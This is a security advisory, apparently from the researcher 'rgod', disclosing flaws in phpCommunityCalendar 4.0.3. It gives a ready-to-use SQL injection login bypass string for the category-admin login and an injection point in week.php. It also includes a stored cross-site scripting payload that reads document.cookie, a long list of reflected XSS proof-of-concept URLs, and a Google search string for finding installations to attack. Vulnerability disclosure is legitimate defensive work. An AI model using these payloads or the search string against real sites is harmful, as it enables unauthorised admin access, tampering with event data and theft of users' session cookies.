phpCommunityCalendar 4.0.3 (possibly prior versions) sql injection / login bypass / cross site scripting
phpCommunityCalendar 4.0.3 (possibly prior versions)
sql injection / login bypass / cross site scripting
software:
site: http://open.appideas.com
download: http://open.appideas.com/Calendar/
1) sql injection / login bypass:
"admin" directory contains tools for the site administrator. "webadmin"
contains tools for category
administrators. If magic quotes off a user can bypass category admin check
modifying sql login query, example:
go to http://[target]/[path]/webadmin/login.php and use this:
login: ' or isnull(1/0) /*
password: [nothing here]
now you can add, delete, modify events
2) sql injection:
http://[target]/[path]/week.php?LocationID=-1'[INJECTION]%20/*
3) "admin" directory should be password protected by .htaccess , if not you can
go to control panel as main admin
http://[target]/[path]/admin/
4) cross site scripting, poc:
4.1) add an event and fill some fields with this:
\'\);</script><script>alert(document.cookie)</script>
4.2) check this urls:
http://[target]/[path]/thankyou.php?LocationID="><script>alert('LOL')</script>
http://[target]/[path]/calDaily.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calMonthly.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calMonthlyP.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calWeekly.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calWeeklyP.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calYearly.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/calYearlyP.php?font="><script>alert('LOL')</script><"
http://[target]/[path]/day.php?font="><script>alert('LOL')</script><!--
http://[target]/[path]/day.php?LocationID="><script>alert('LOL')</script><!--
http://[target]/[path]/event.php?font="><script>alert('LOL')</script>
http://[target]/[path]/event.php?CeTi=</title><script>alert('LOL')</script>
http://[target]/[path]/event.php?Contact=<script>alert('LOL')</script>
http://[target]/[path]/event.php?Description=<script>alert('LOL')</script>
http://[target]/[path]/event.php?ShowAddress=<script>alert('LOL')</script>
http://[target]/[path]/week.php?font="><script>alert('LOL')</script>
and so on... (a lot of uninitizialized vars showned)
googledork: "Calendar programming by AppIdeas.com" filetype:php
rgod
site: http://rgod.altervista.org
mail: retrogod@xxxxxxxxxxxxx
original advisory: http://www.rgod.altervista.org/phpccal.html